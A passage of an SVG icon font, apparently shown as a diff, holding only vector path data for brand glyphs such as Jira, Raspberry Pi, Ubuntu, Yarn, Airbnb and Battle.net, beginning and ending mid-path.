-0.275391 0.000976562 -0.412109 0.000976562c-35.3857 -0.220703 -64.0029 -28.9746 -64.0029 -64.4131c0 -35.4453 29.2246 -64.415 64.9307 -64.415 +c36.2822 0 65.9795 29.4365 65.9795 65.4551v63.3721h-66.4951zM109.793 416.622c-35.5762 0 -64.415 -28.8398 -64.415 -64.4141c0 -35.5762 28.8389 -64.415 64.415 -64.415h66.4951v128.829h-66.4951zM207.666 287.793h66.4951c35.5762 0 64.415 28.8389 64.415 64.415 +c0 35.5742 -28.8389 64.4141 -64.415 64.4141h-66.4951v-128.829z" /> + <glyph glyph-name="intercom" unicode="" +d="M392 416c30.9004 0 56 -25.0996 56 -56v-336c0 -30.9004 -25.0996 -56 -56 -56h-336c-30.9004 0 -56 25.0996 -56 56v336c0 30.9004 25.0996 56 56 56h336zM283.7 333.9v-199.5c0 -19.8008 29.8994 -19.8008 29.8994 0v199.5c0 19.7998 -29.8994 19.7998 -29.8994 0z +M209.1 341.4v-216.5c0 -19.8008 29.9004 -19.8008 29.9004 0v216.5c0 19.7998 -29.9004 19.7998 -29.9004 0zM134.4 333.9v-199.5c0 -19.8008 29.8994 -19.8008 29.8994 0v199.5c0 19.7998 -29.8994 19.7998 -29.8994 0zM59.7002 304v-134.3 +c0 -19.7998 29.8994 -19.7998 29.8994 0v134.3c0 19.7998 -29.8994 19.7998 -29.8994 0zM383.1 76.2002c14.9004 12.8994 -4.5 35.5996 -19.3994 22.7002c-63.2002 -53.9004 -213.4 -55.3008 -279.3 0c-15 12.7998 -34.4004 -9.90039 -19.4004 -22.7002 +c76.4004 -65.4004 245.3 -63 318.1 0zM388.3 169.7v134.3c0 19.7998 -29.8994 19.7998 -29.8994 0v-134.3c0 -19.7998 29.8994 -19.7998 29.8994 0z" /> + <glyph glyph-name="invision" unicode="" +d="M407.4 416c22.3994 0 40.5996 -18.2002 40.5996 -40.5996v-366.801c0 -22.3994 -18.2002 -40.5996 -40.5996 -40.5996h-366.801c-22.3994 0 -40.5996 18.2002 -40.5996 40.5996v366.801c0 22.3994 18.2002 40.5996 40.5996 40.5996h366.801zM176.1 302.4 +c-0.599609 35.0996 -53.5996 34.7998 -53.6992 -0.400391c0 -15 12.1992 -27 27.0996 -27c4.2002 0.0996094 27 4 26.5996 27.4004zM332.8 71c23.7998 0 42.7002 15.2998 53.2002 52l-17.9004 6.7002c-14.2998 -39.5 -31.7998 -32.4004 -31.7998 -16.9004 +c0.299805 8.10059 0.700195 7.7002 14.9004 58.7998c26.0996 85.8008 -61.2998 113.5 -101.8 38l8.89941 40.5h-68.7998l-9.7002 -35.5996h32.2998l-19.7998 -79.4004c-16.5 -36.6992 -57.3994 -44.0996 -57.3994 -23.1992c0.299805 11.2998 -0.700195 4.5 32.8994 138.199 +h-76.3994l-9.7002 -35.5996h31.7998c-22.0996 -90.0996 -22.9004 -89.7998 -23 -104.1c0 -48.7002 63.0996 -56.1006 94.5996 -4.30078l-8.09961 -32.5h45.0996l25.8008 103.301c14.6992 59.6992 74 47.0996 59.8994 0.699219c-9.09961 -32.5996 -40.5996 -106.6 25 -106.6z +" /> + <glyph glyph-name="jira" unicode="" horiz-adv-x="496" +d="M490 206.3c8 -7.89941 8 -20.7002 0 -28.5996c-225.8 -225 137.9 136.3 -241.5 -241.7c-180.7 180.1 -109.7 109.3 -242.5 241.6c-7.90039 8 -7.90039 20.8008 0 28.7002c0 0 77 76.7998 242.5 241.7c72.0996 -71.7998 168.6 -169 241.5 -241.7zM248.5 116.3l76 75.7002 +l-76 75.7002l-76 -75.7002z" /> + <glyph glyph-name="mendeley" unicode="" horiz-adv-x="640" +d="M624.6 122.8c23.1006 -22.7002 17.8008 -73.5 0 -88.2998c-36.1992 -38.9004 -100 -18.2002 -104.899 35.2002c-1 11.7002 1.09961 23 5.7002 33c47.2998 103.7 -185.9 106.1 -146.5 8.2002c0.0996094 -0.100586 0.199219 -0.200195 0.299805 -0.400391 +c26.5996 -42.5996 -6.7002 -97.2998 -58.7998 -95.2002c-52 -2.2002 -85.6006 52.4004 -58.8008 95.2002c0.100586 0.200195 0.200195 0.299805 0.300781 0.400391c39.3994 97.8994 -193.801 95.5 -146.5 -8.2002c20.3994 -44.9004 -14.1006 -93.7002 -61.2002 -87.7998 +c-61.9004 7.7998 -62.5 82.8994 -42.6006 102.6c16 16 31.8008 24.7998 53 22.5c43.3008 1 49.7002 34.9004 37.5 98.7998c-22.6992 57.5 14.5 131.601 87.4004 130.8c76.9004 -0.699219 82.7998 -82 130.9 -82c49.1992 0 53.5 81.3008 130.899 82 +c72.5 0.700195 110.2 -73.2998 87.4004 -130.8c-12.2002 -63.8994 -5.7998 -97.7998 37.5 -98.7998c18.7002 2 36.0996 -4.7998 48.3994 -17.2002zM320.7 141.9c43.5996 0 62.7998 37.7998 62.7998 62.7998c0 34.7002 -28.0996 62.7998 -62.7998 62.7998h-0.600586 +c-34.5996 0 -62.7998 -28.0996 -62.7998 -62.7998c0 -25.2998 19.4004 -62.7998 62.7998 -62.7998h0.600586z" /> + <glyph glyph-name="raspberry-pi" unicode="" horiz-adv-x="407" +d="M372 215.5c28.7002 -17.2002 54.5996 -72.5996 14 -117.7c-2.59961 -14.0996 -7.09961 -24.2002 -11 -35.3994c-5.90039 -45.2002 -44.4004 -66.3008 -54.5996 -68.8008c-14.9004 -11.1992 -30.7002 -21.7998 -52.2002 -29.1992 +c-20.2002 -20.6006 -42.1006 -28.4004 -64.2002 -28.4004h-1c-22 0 -44 7.7998 -64.2998 28.4004c-21.4004 7.39941 -37.2998 18 -52.2002 29.1992c-10.0996 2.5 -48.7002 23.6006 -54.5996 68.8008c-3.90039 11.1992 -8.40039 21.2998 -11 35.3994 +c-40.5 45 -14.6006 100.5 14.1992 117.7l3.7002 6.5c-0.0996094 46.4004 21.4004 65.2998 46.5 79.7002c-7.59961 2 -15.3994 3.7002 -17.5996 13.2002c-13.1006 3.39941 -15.7998 9.39941 -17.1006 15.7998c-3.39941 2.2998 -14.7998 8.7002 -13.5996 19.7002 +c-6.2998 4.39941 -9.90039 10.0996 -8.09961 18.0996c-6.90039 7.5 -8.7002 13.7002 -5.80078 19.4004c-8.2998 10.1992 -4.59961 15.5 -1.09961 20.8994c-6.2002 11.2002 -0.799805 23.2002 16.5 21.2002c6.90039 10.0996 21.9004 7.7998 24.2002 7.7998 +c2.5 3.2998 6 6 16.5 4.7002c6.7998 6.09961 14.3994 5.09961 22.2998 2.09961c3.2002 2.5 6.09961 3.40039 8.7002 3.5c5 0.100586 9.2998 -2.89941 13.8994 -4.2998c11.3008 3.60059 13.8008 -1.39941 19.4004 -3.39941c12.2998 2.59961 16.0996 -3 22 -8.90039 +l6.90039 0.0996094c18.5996 -10.7998 27.7998 -32.7998 31.0996 -44.0996c3.2998 11.2998 12.5 33.2998 31.0996 44.0996l6.90039 -0.0996094c5.90039 5.90039 9.7002 11.5 22 8.90039c5.5 2.09961 8.09961 7 19.4004 3.39941 +c7.09961 2.2002 13.2998 8.10059 22.5996 0.799805c7.90039 2.90039 15.5 4 22.2998 -2.09961c10.5 1.2998 13.9004 -1.5 16.5 -4.7002c2.2998 0 17.2998 2.2998 24.2002 -7.7998c17.2998 2 22.7998 -10 16.5996 -21.2002c3.5 -5.2998 7.2002 -10.5996 -1.09961 -20.8994 +c2.90039 -5.7002 1.09961 -11.9004 -5.7998 -19.4004c1.89941 -8 -1.7002 -13.7002 -8.10059 -18.0996c1.2002 -11 -10.1992 -17.4004 -13.5996 -19.7002c-1.2998 -6.40039 -4 -12.5 -17.0996 -15.7998c-2.2002 -9.60059 -10 -11.2002 -17.6006 -13.2002 +c25.1006 -14.4004 46.6006 -33.2998 46.5 -79.7002zM349.8 223.5c1.5 48.7002 -36.3994 75.4004 -82.0996 67.9004c-16.7998 -2.80078 80.5996 -86.6006 82.0996 -67.9004zM306.8 130.4c24.5 15.7998 28.9004 51.5996 9.90039 80 +c-19 28.3994 -54.2998 38.5996 -78.7998 22.7998s-28.9004 -51.6006 -9.90039 -80c19 -28.4004 54.2998 -38.6006 78.7998 -22.7998zM238.9 418.7c-16.6006 -15.9004 -40.1006 -55.9004 -5.80078 -71.7998c29 23.5 63.6006 40.6992 102 53.5 +c-49.2998 -25.1006 -78 -45.3008 -93.6992 -62.6006c8.09961 -31.7002 50 -33.2002 65.3994 -32.2998c-3.09961 1.40039 -5.7998 3.09961 -6.7002 5.7998c3.80078 2.7002 17.5 0.299805 27 5.60059c-3.69922 0.699219 -5.39941 1.39941 -7.09961 4.09961 +c9 2.90039 18.7002 5.2998 24.4004 10c-3.10059 0 -6 -0.599609 -10 2.09961c8.09961 4.30078 16.6992 7.7002 23.3994 14.2002c-4.2002 0.100586 -8.7002 0.100586 -10 1.60059c7.40039 4.5 13.6006 9.5 18.7998 15c-5.7998 -0.700195 -8.2998 -0.100586 -9.69922 0.899414 +c5.59961 5.60059 12.5996 10.4004 16 17.2998c-4.40039 -1.5 -8.30078 -2.09961 -11.2002 0.100586c1.89941 4.2998 10 6.7002 14.7002 16.5996c-4.60059 -0.399414 -9.40039 -1 -10.4004 0c2.09961 8.5 5.7002 13.2002 9.2998 18.2002 +c-9.7998 0.200195 -24.5996 0 -23.8994 0.799805l6 6.10059c-9.5 2.5 -19.3008 -0.400391 -26.4004 -2.60059c-3.2002 2.5 0 5.60059 3.90039 8.7998c-8.10059 -1 -15.5 -2.89941 -22.1006 -5.39941c-3.59961 3.09961 2.2998 6.2998 5.10059 9.39941 +c-12.5 -2.2998 -17.8008 -5.59961 -23.1006 -8.89941c-3.7998 3.59961 -0.200195 6.7002 2.40039 9.7998c-9.40039 -3.5 -14.2998 -7.90039 -19.4004 -12.2998c-1.7998 2.2998 -4.39941 4 -1.2002 9.59961c-6.69922 -3.7998 -11.7998 -8.2998 -15.5 -13.2998 +c-4.19922 2.59961 -2.5 6.09961 -2.5 9.40039c-7 -5.60059 -11.3994 -11.5 -16.7998 -17.3008c-1.09961 0.800781 -2.09961 3.40039 -2.89941 7.60059zM204.5 304.1c-27.2002 0.700195 -53.4004 -19.8994 -53.4004 -31.7998 +c-0.0996094 -14.5996 21.5 -29.3994 53.6006 -29.7998c32.7998 -0.200195 53.7002 11.9004 53.7998 26.9004c0.0996094 16.8994 -29.7998 35 -54 34.6992zM81.5 316.9c9.59961 -5.2002 23.2002 -2.80078 27.2002 -5.60059 +c-0.900391 -2.59961 -3.60059 -4.39941 -6.7002 -5.7998c15.4004 -0.900391 57.4004 0.5 65.4004 32.2998c-15.7002 17.2998 -44.4004 37.6006 -93.7002 62.6006c38.3994 -12.8008 73 -30 102 -53.5c34.0996 15.8994 10.5996 55.8994 -6 71.7998 +c-0.900391 -4.2002 -1.7998 -6.7998 -2.90039 -7.60059c-5.39941 5.80078 -9.7998 11.7002 -16.7998 17.3008c0 -3.2002 1.59961 -6.80078 -2.5 -9.40039c-3.7002 5 -8.7998 9.5 -15.5 13.2998c3.2002 -5.59961 0.5 -7.2998 -1.2002 -9.59961 +c-5.09961 4.39941 -10 8.89941 -19.3994 12.2998c2.59961 -3.09961 6.19922 -6.2002 2.39941 -9.7998c-5.2998 3.2998 -10.5996 6.59961 -23.0996 8.89941c2.7998 -3.09961 8.59961 -6.2998 5.09961 -9.39941c-6.7002 2.5 -14 4.2998 -22.0996 5.39941 +c3.7998 -3.19922 7.09961 -6.2998 3.89941 -8.7998c-7.09961 2.2002 -16.8994 5.10059 -26.3994 2.60059l6 -6.10059c0.700195 -0.799805 -14.1006 -0.700195 -23.9004 -0.799805c3.5 -4.90039 7.2002 -9.7002 9.2998 -18.2002c-1 -1 -5.7998 -0.399414 -10.3994 0 +c4.7002 -9.89941 12.7998 -12.3994 14.7002 -16.5996c-2.90039 -2.10059 -6.90039 -1.60059 -11.2002 -0.100586c3.2998 -6.89941 10.3994 -11.6992 16 -17.2998c-1.40039 -1 -3.90039 -1.59961 -9.7002 -0.899414c5.2002 -5.5 11.4004 -10.5 18.7998 -15 +c-1.2998 -1.60059 -5.7998 -1.5 -10 -1.60059c6.7002 -6.5 15.2998 -9.89941 23.4004 -14.2002c-4 -2.7998 -6.90039 -2.09961 -10 -2.09961c5.7002 -4.7002 15.3994 -7.2002 24.3994 -10c-1.69922 -2.59961 -3.39941 -3.40039 -7.09961 -4.09961zM141.6 292.8 +c-45.5996 7.60059 -83.5996 -19.2002 -82.0996 -67.8994c1.5 -18.6006 98.9004 65.0996 82.0996 67.8994zM38.2002 106c21.5996 -9.5 39.0996 105.3 12.5996 98.2998c-43.8994 -24.5996 -36.2998 -79.5 -12.5996 -98.2998zM129.2 7.7998 +c14.0996 10.4004 6.39941 45.7002 -10.5 65.7002c-19.4004 22.2002 -44.6006 35.4004 -60.9004 25.5996c-10.8994 -8.19922 -12.8994 -36 2.60059 -63.3994c23 -32.6006 55.5 -35.7998 68.7998 -27.9004zM102.8 127.5c24.4004 -15.7998 59.7002 -5.59961 78.7998 22.7998 +c19 28.4004 14.6006 64.2002 -9.89941 80s-59.7998 5.60059 -78.7998 -22.7998s-14.6006 -64.2002 9.89941 -80zM205 -48c28.4004 -0.5 57.7002 24.4004 57.2002 35.4004c-0.100586 11.3994 -32 19.8994 -55.7002 18.8994c-23.5 0.600586 -59.7002 -9.2998 -59.2998 -22 +c-0.400391 -8.59961 28.3994 -33.5 57.7998 -32.2998zM263.9 76.9004v0.599609c-0.200195 29.5996 -26.8008 53.5996 -59.4004 53.4004c-32.5996 -0.200195 -59 -24.3008 -58.7998 -54v-0.600586c0.200195 -29.5996 26.7998 -53.5996 59.3994 -53.3994 +c32.6006 0.199219 59 24.2998 58.8008 54zM346.1 34.2002c18.4004 23.2002 12.2002 62 1.7002 72.2998c-15.5996 11.9004 -38 -3.2998 -58.8994 -26.5996c-18.3008 -21.1006 -28.4004 -59.6006 -15.1006 -72c12.7002 -9.60059 47 -8.30078 72.2998 26.2998zM369 107.4 +c23.7002 18.6992 31.2998 73.5996 -12.5996 98.2998c-26.4004 7 -8.90039 -107.7 12.5996 -98.2998z" /> + <glyph glyph-name="redhat" unicode="" horiz-adv-x="512" +d="M341.52 162.59v-0.149414c33.6504 0 82.3408 6.93945 82.3408 47c0.219727 6.73926 0.859375 1.81934 -20.8799 96.2393c-4.62012 19.1504 -8.68066 27.8398 -42.3105 44.6504c-26.0898 13.3398 -82.9199 35.3701 -99.7295 35.3701 +c-15.6602 0 -20.2002 -20.1699 -38.8701 -20.1699c-18 0 -31.3105 15.0596 -48.1201 15.0596c-16.1406 0 -26.6602 -11 -34.7803 -33.6201c-27.5 -77.5498 -26.2803 -74.2695 -26.1201 -78.2695c0 -24.7998 97.6406 -106.11 228.47 -106.11zM429.07 193.19 +l-0.0703125 -0.0302734c4.65039 -22 4.65039 -24.3506 4.65039 -27.25c0 -37.6602 -42.3301 -58.5605 -98 -58.5605c-125.74 -0.0800781 -235.91 73.6504 -235.91 122.33v0.078125c0 6.96289 1.46289 13.6279 4.05957 19.6426 +c-45.2402 -2.26074 -103.8 -10.3301 -103.8 -62.0303c0 -84.6699 200.63 -189 359.49 -189c121.79 0 152.51 55.0801 152.51 98.5801c0 34.21 -29.5898 73.0498 -82.9297 96.2402z" /> + <glyph glyph-name="sketch" unicode="" horiz-adv-x="512" +d="M27.5 285.8l78.9004 105.8l-6.90039 -130.699h-90.5zM396.3 402.3l7.10059 -133.5l-135.7 147.2zM112.2 229.7l122.6 -239.7l-224.899 261.7h91.0996zM114.2 260.9l142.1 154.1l60.4004 -65.5996l81.5 -88.5h-284zM411.5 251.8v-0.0996094h90.9004l-224.801 -261.7z +M415.4 379l87.8994 -118.1h-90.2998l-6.09961 113.399l-0.900391 17.2998zM113.5 354.5l2.59961 47.7998l128.601 13.7002l-135.8 -147.1zM401.2 251.8l-144.9 -283.8l-102.7 200.9l-42.3994 82.8994h290z" /> + <glyph glyph-name="sourcetree" unicode="" +d="M427.2 245c-0.104492 -90.2461 -59.1543 -166.747 -140.7 -193.1v-101.601c0 -7.89258 -6.40723 -14.2998 -14.2998 -14.2998h-96.4004c-7.89258 0 -14.2998 6.40723 -14.2998 14.2998v101.7c-81.501 26.3281 -140.5 102.814 -140.5 193.03v0.370117 +c0.200195 112 91.0996 202.8 203.2 202.6c112.1 0 203 -90.9004 203 -203zM155.6 245c0 -91 137.2 -89.9004 137.301 0c0 90.7998 -137.301 90.7998 -137.301 0z" /> + <glyph glyph-name="suse" unicode="" horiz-adv-x="640" +d="M471.08 345.34c0 1 1.01953 0.759766 0.919922 0.660156c4.2002 -0.599609 92.2002 -13.7002 129.2 -35.2998c12.0996 -6.90039 20.7002 -21.5 34.5 -69.6006c0.700195 -2.7998 -2.7998 -5.09961 -3.60059 -5.69922 +c-26.8994 -18.8008 -56.7998 -36.6006 -145.199 21.6992c11.0996 -26.6992 10.6992 -25.0996 11 -25.5c5.39941 -2.7998 56.2998 -28.6992 81.5996 -28.1992c20.4004 0.399414 42.2002 10.3994 50.9004 15.5996c0 0 4.5 2.7002 3.19922 -2.40039 +c-0.5 -1.89941 -3.2998 -14.5996 -7 -17.6992c-1 -1 -36.5996 -28.4004 -103.1 -28c-42.7002 1 -76.7998 16.3994 -82.4004 -17.4004c-2.7998 -17.0996 6.10059 -37.5 18.9004 -55.7998h-48.5996c-15.9004 28.3994 -23.1006 68.2998 -79.8008 68.2998 +c-51.5996 0 -48.3994 -50.7002 -42.6992 -68.2998h-45.9004c-18.7998 68.7998 -69.2002 98.5996 -102.4 104.3c-74.2998 12.7998 -113 -49.2002 -87 -98.4004c23.1006 -43.5996 81.4004 -44.0996 99.7002 -20.3994c19.2002 25 3.7998 62.8994 -28.5 65.7002 +c-12.2998 1.09961 -25.2998 -4.60059 -25.5 -16.9004v-0.0595703c0 -10.9004 10 -13.8008 12 -14c7.2998 0.399414 8.90039 1.89941 11.7998 2.39941c5.2002 0.900391 16.8008 -1.7998 16.8008 -13.8994c0 -8.40039 -6.80078 -13.1006 -13.3008 -14.9004 +c-4.94922 -1.71484 -10.2754 -2.67285 -15.7998 -2.7002c-17.2002 0 -41.2002 14.7998 -41.5 42.6006c-0.200195 15.6992 7.7002 30 21.6006 39.1992c15.8994 10.5 43.5996 14.1006 69.1992 -1.59961c31.5 -19.2998 39.7002 -57.0996 31.5 -82.9004 +c-11.8994 -37.2998 -45.5996 -57.1992 -90 -53.2998c-31.5 2.7998 -60.6992 19.4004 -78.0996 44.4004c-7.45117 10.6377 -13.1357 22.7852 -16.5 35.7002c-7.12012 28.0596 0 58.0596 5.48047 71.3994c25.6992 63.6006 80.1992 97.2998 99.5996 109.7 +c100.2 61.5996 171.1 59.0996 223 57.2998c61.2998 -2.2002 126.6 -23.2998 135.7 -26.2998c0 2 0.299805 20.2998 0.299805 20.2998zM531.48 272.54c-1.10059 -33.5 39.0996 -51.5996 63.2998 -28.9004c24.3994 22.9004 9 64 -24.4004 65.2002 +c-0.464844 0.0175781 -0.910156 0.00585938 -1.37988 0.00585938c-20.3057 0 -36.8682 -16.1572 -37.5195 -36.3057zM570.08 297.84c14.0928 -0.414062 25.4199 -11.9697 25.4199 -26.1631c0 -0.34668 -0.00683594 -0.692383 -0.0195312 -1.03711 +c-0.505859 -14.0547 -12.0898 -25.3252 -26.2676 -25.3252c-14.499 0 -26.2695 11.7705 -26.2695 26.2695s11.7705 26.2705 26.2695 26.2705c0.290039 0 0.579102 -0.00488281 0.867188 -0.0146484zM574.38 269.04c15.4004 0 15.4004 15.5996 0 15.5996 +c-15.3994 0 -15.3994 -15.5996 0 -15.5996z" /> + <glyph glyph-name="ubuntu" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM300.7 347c-8.7998 -15.2002 -3.60059 -34.7002 11.7002 -43.5996c15.1992 -8.80078 34.6992 -3.5 43.5 11.6992c8.7998 15.3008 3.59961 34.8008 -11.7002 43.6006 +c-15.2002 8.7998 -34.7002 3.5 -43.5 -11.7002zM87.4004 160.1c17.5996 0 31.8994 14.3008 31.8994 31.9004s-14.2998 31.9004 -31.8994 31.9004c-17.6006 0 -31.9004 -14.3008 -31.9004 -31.9004s14.2998 -31.9004 31.9004 -31.9004zM115.5 157 +c8.7002 -32.7002 29.0996 -60.7002 56.5 -79l23.7002 39.5996c-51.5 36.3008 -51.5 112.5 0 148.801l-23.7002 39.5996c-27.4004 -18.4004 -47.9004 -46.2998 -56.5 -79.0996c22.4004 -18 22.2998 -52 0 -69.9004zM344.2 25.2998 +c15.2998 8.7998 20.5 28.2998 11.7002 43.6006c-8.80078 15.2998 -28.3008 20.5 -43.5 11.6992c-15.3008 -8.7998 -20.5 -28.2998 -11.7002 -43.5996s28.2002 -20.5 43.5 -11.7002zM344.5 94.7998c23 22.9004 38 53.9004 40.2998 88.4004l-46.0996 0.700195 +c-5.5 -62.7002 -71.9004 -100.9 -128.9 -74.4004l-22.5 -40.2998c47.7998 -23.7002 91.5 -10.7998 96.7002 -9.40039c4.40039 28.4004 33.7998 45.2998 60.5 35zM338.6 200.1l46 0.600586c-2.19922 34.5996 -17.0996 65.5996 -40.1992 88.5 +c-26.7002 -10.2998 -56.1006 6.7002 -60.5 35c-5.2002 1.39941 -48.8008 14.2998 -96.7002 -9.40039l22.5 -40.2998c57.5996 26.7998 123.5 -12.4004 128.899 -74.4004z" /> + <glyph glyph-name="ups" unicode="" horiz-adv-x="384" +d="M103.2 145v123h32.5996v-141.6c-17.7002 -12.1006 -97.8994 -35.9004 -97.8994 39v102.6h32.6992v-104c0 -32.0996 27.4004 -22.5996 32.6006 -19zM4 373.18c93.5996 49.6006 259.1 61.6006 375.4 0v-220.899c0 -103.9 -75.3008 -135.2 -187.7 -184.101 +c-112.8 48.9004 -187.7 80.4004 -187.7 184.101v220.899zM362.1 152.28v216.2c-109.3 10.1992 -238.6 4 -340.899 -89.8008v-126.399c0 -86.6006 53 -113.5 170.5 -165.3c117.2 51.6992 170.399 78.6992 170.399 165.3zM152.5 259.68 +c23.7002 15.3203 104.4 31.8008 104.4 -65.5996c0 -75.9004 -47.3008 -85.7998 -71.7002 -78.5v-68.7002h-32.7002v212.8zM185.2 142.38c2 -0.799805 38.3994 -16.8994 38.3994 51c0 62 -30 53.5 -38.3994 49.2998v-100.3zM264.3 228.78 +c-0.200195 41.0996 51.2002 53.8994 79.7002 31.8994v-28.3994c-17.9004 18.2998 -47.9004 18.0996 -48.5 -2.2002c-0.700195 -26.5996 55.0996 -21.7002 53.4004 -73.2002c-1.30078 -41.5996 -47 -55 -83.2002 -33.5v30.1006 +c20.3994 -18.1006 51.3994 -18.6006 50.7998 4.89941c-0.599609 27.9004 -52.0996 23.1006 -52.2002 70.4004z" /> + <glyph glyph-name="usps" unicode="" horiz-adv-x="576" +d="M460.3 206.3c-1.39941 -2.2002 -4.2998 -4.39941 -3.7998 0.100586c2.90039 11.5996 13.9004 30.5 4.40039 32c-17.8008 3.09961 -88.1006 -4.5 -88.1006 0c0 2.39941 26.7002 3.09961 37.9004 8.69922c9.39941 9.40039 10.7998 8 10.8994 8h27 +c26.9004 0 37.5 -7.5 11.7002 -48.7998zM348.2 183.7c-62.2998 -21.2002 -124.8 -54.2002 -321.2 -151.5l52.4004 245.5c185 0 335.199 5.59961 337.899 -22.6006h-196.6l30.7002 -93.2998c35 16.7998 120.899 51.7002 172.6 53.9004 +c21.7998 0.799805 30.5996 -2.90039 26.2002 -5.7998c-4.7002 -2.30078 -38 -4.90039 -102 -26.2002zM94.7002 352h454.3l-67.7002 -319.7h-423.1s402 157.3 406.399 160.2c0 0 35.7002 48 14.6006 67.7002c-6.5 6.59961 -16 6.59961 -52.4004 6.59961 +c-2.09961 19.5 -78.7998 31.5 -332.1 85.2002z" /> + <glyph glyph-name="yarn" unicode="" horiz-adv-x="496" +d="M393.9 102.8c-39 -9.2998 -48.4004 -32.0996 -104 -47.3994c0 0 -2.7002 -4 -10.4004 -5.80078c-13.4004 -3.2998 -63.9004 -6 -68.5 -6.09961c-12.4004 -0.0996094 -19.9004 3.2002 -22 8.2002c-6.40039 15.2998 9.2002 22 9.2002 22 +c-8.10059 5 -9 9.89941 -9.7998 8.09961c-2.40039 -5.7998 -3.60059 -20.0996 -10.1006 -26.5c-8.7998 -8.89941 -25.5 -5.89941 -35.2998 -0.799805c-10.7998 5.7002 0.799805 19.2002 0.799805 19.2002s-5.7998 -3.40039 -10.5 3.59961 +c-6 9.2998 -17.0996 37.2998 11.5 62c-1.2998 10.1006 -4.59961 53.7002 40.6006 85.6006c0 0 -20.6006 22.7998 -12.9004 43.2998c5 13.3994 7 13.2998 8.59961 13.8994c5.7002 2.2002 11.3008 4.60059 15.4004 9.10059c20.5996 22.2002 46.7998 18 46.7998 18 +s12.4004 37.7998 23.9004 30.3994c3.5 -2.2998 16.2998 -30.5996 16.2998 -30.5996s13.5996 7.90039 15.0996 5c8.2002 -16 9.2002 -46.5 5.60059 -65.0996c-6.10059 -30.6006 -21.4004 -47.1006 -27.6006 -57.5c-1.39941 -2.40039 16.5 -10 27.8008 -41.3008 +c10.3994 -28.5996 1.09961 -52.6992 2.7998 -55.2998c0.799805 -1.39941 13.7002 -0.799805 36.3994 13.2002c12.8008 7.90039 28.1006 16.9004 45.4004 17c16.7002 0.5 17.5996 -19.2002 4.90039 -22.2002zM496 192c0 -136.9 -111.1 -248 -248 -248s-248 111.1 -248 248 +s111.1 248 248 248s248 -111.1 248 -248zM416.7 116.8c-1.7002 13.6006 -13.2002 23 -28 22.7998c-22 -0.299805 -40.5 -11.6992 -52.7998 -19.1992c-4.80078 -3 -8.90039 -5.2002 -12.4004 -6.80078c3.09961 44.5 -22.5 73.1006 -28.7002 79.4004 +c7.7998 11.2998 18.4004 27.7998 23.4004 53.2002c4.2998 21.7002 3 55.5 -6.90039 74.5c-1.59961 3.09961 -7.39941 11.2002 -21 7.39941c-9.7002 20 -13 22.1006 -15.5996 23.8008c-1.10059 0.699219 -23.6006 16.3994 -41.4004 -28 +c-12.2002 -0.900391 -31.2998 -5.30078 -47.5 -22.8008c-2 -2.19922 -5.89941 -3.7998 -10.0996 -5.39941h0.0996094c-8.39941 -3 -12.2998 -9.90039 -16.8994 -22.2998c-6.5 -17.4004 0.199219 -34.6006 6.7998 -45.7002c-17.7998 -15.9004 -37 -39.7998 -35.7002 -82.5 +c-34 -36 -11.7998 -73 -5.59961 -79.6006c-1.60059 -11.0996 3.69922 -19.3994 12 -23.7998c12.5996 -6.7002 30.2998 -9.59961 43.8994 -2.7998c4.90039 -5.2002 13.7998 -10.0996 30 -10.0996c6.7998 0 58 2.89941 72.6006 6.5c6.7998 1.59961 11.5 4.5 14.5996 7.09961 +c9.7998 3.09961 36.7998 12.2998 62.2002 28.7002c18 11.7002 24.2002 14.2002 37.5996 17.3994c12.9004 3.2002 21 15.1006 19.4004 28.2002z" /> + <glyph glyph-name="airbnb" unicode="" +d="M224 74.8799h0.0595703c24.71 31.1797 39.5508 58.9297 45 83.1797c22.5508 88 -112.609 88 -90.0596 0c4.91992 -23.75 19.7598 -51.5098 45 -83.1797zM362.15 1.65039c35.6396 15.3496 50.1797 53.5693 37.0098 86.6396 +c-25.4902 61.6104 -78.8398 168.47 -114.84 239.09c-16.9707 33.9297 -28.0303 59.8701 -60.3701 59.8701c-33.8203 0 -43.6299 -27.3301 -59.3799 -57.4004c-4.15039 -10.3799 -100.771 -202.399 -115.87 -241.56c-17.8105 -50.0303 21.2998 -98.5205 71.2998 -91.0898 +c24.5996 2.22949 52.6201 18.8701 85.1504 54.9199c-29.2002 37.1104 -47.5 70.3096 -54.4307 99.5c-11.8799 53.9902 18.3604 100.5 73.2803 100.5c64.96 0 122.75 -69.9297 18.8496 -200c35.6309 -39.5898 77.2402 -68.7803 119.301 -50.4697zM409.15 137.77 +c0 -0.679688 16.8496 -35.6895 16.8301 -39.5791c25.2393 -69.3301 -26.7207 -130.24 -89.6104 -130.19c-11.1104 0 -53.6904 -1.37988 -112.37 62.4004c-51.7598 -56.3408 -90.6602 -62.4004 -112.37 -62.4004c-62.8896 0 -114.85 60.8604 -89.6299 130.19 +c0.889648 2.61914 11.1797 32.71 117.34 245.02c19.79 41.1201 39.1406 72.79 84.6602 72.79c49.1299 0 56.2695 -3.92969 185.15 -278.23z" /> + <glyph glyph-name="battle-net" unicode="" horiz-adv-x="512" +d="M448.61 222.38c60.75 -36.25 71.9893 -73.8096 57.3193 -93.6895c-4.70996 -6.88086 -25.1797 -36.2402 -148 -31.6406c-21.8193 -30.3994 -45.25 -53.2695 -67.4697 -69.2695c28.54 -53.7803 54.2998 -85.0303 62.54 -91.7803c0 0 -3.44043 0.160156 -8.58008 3.37012 +c-3.2627 1.95117 -6.17871 4.31836 -8.75 7.08984c-15.6299 16.1797 -35.5195 41.9404 -55.7002 74.1201c-43.9502 -28.1104 -81.1299 -29.0996 -88.4395 -9.4502c-4.83984 10.8301 1.5293 26.5 9.05957 39.3398c-31.3203 -17.5098 -61.7002 -26.8496 -86.7002 -21.1396 +c-6.79004 1.54004 -17.6299 5.50977 -23.1992 18.2598c-4.52051 9.53027 -6.02051 24.2598 -0.150391 47.1406c9.07031 35.3398 37.5801 82.2998 47.3096 97.6992c3.75 -8.62988 -20.7793 40.1904 -26 93.1904c-89.1592 0 -110.56 -8.83984 -111.56 -9.21973 +c1.54004 2.44922 7.86035 7.26953 17.7598 9.71973c22 5.47949 54.6406 9.84961 93 11.2295c-2.38965 52.0703 15.3398 84.7705 36 81.29h0.180664c11.3291 -1.2998 21.2598 -13.5801 28.5 -25.9297c0.669922 35.2002 7.7998 65.54 25 84.0703 +c4.72949 5.14941 13.5693 12.5498 27.3994 11h0.0498047c10.5205 -0.850586 24 -6.91992 40.8398 -23.4707c25.6006 -25.0693 51.54 -71.9893 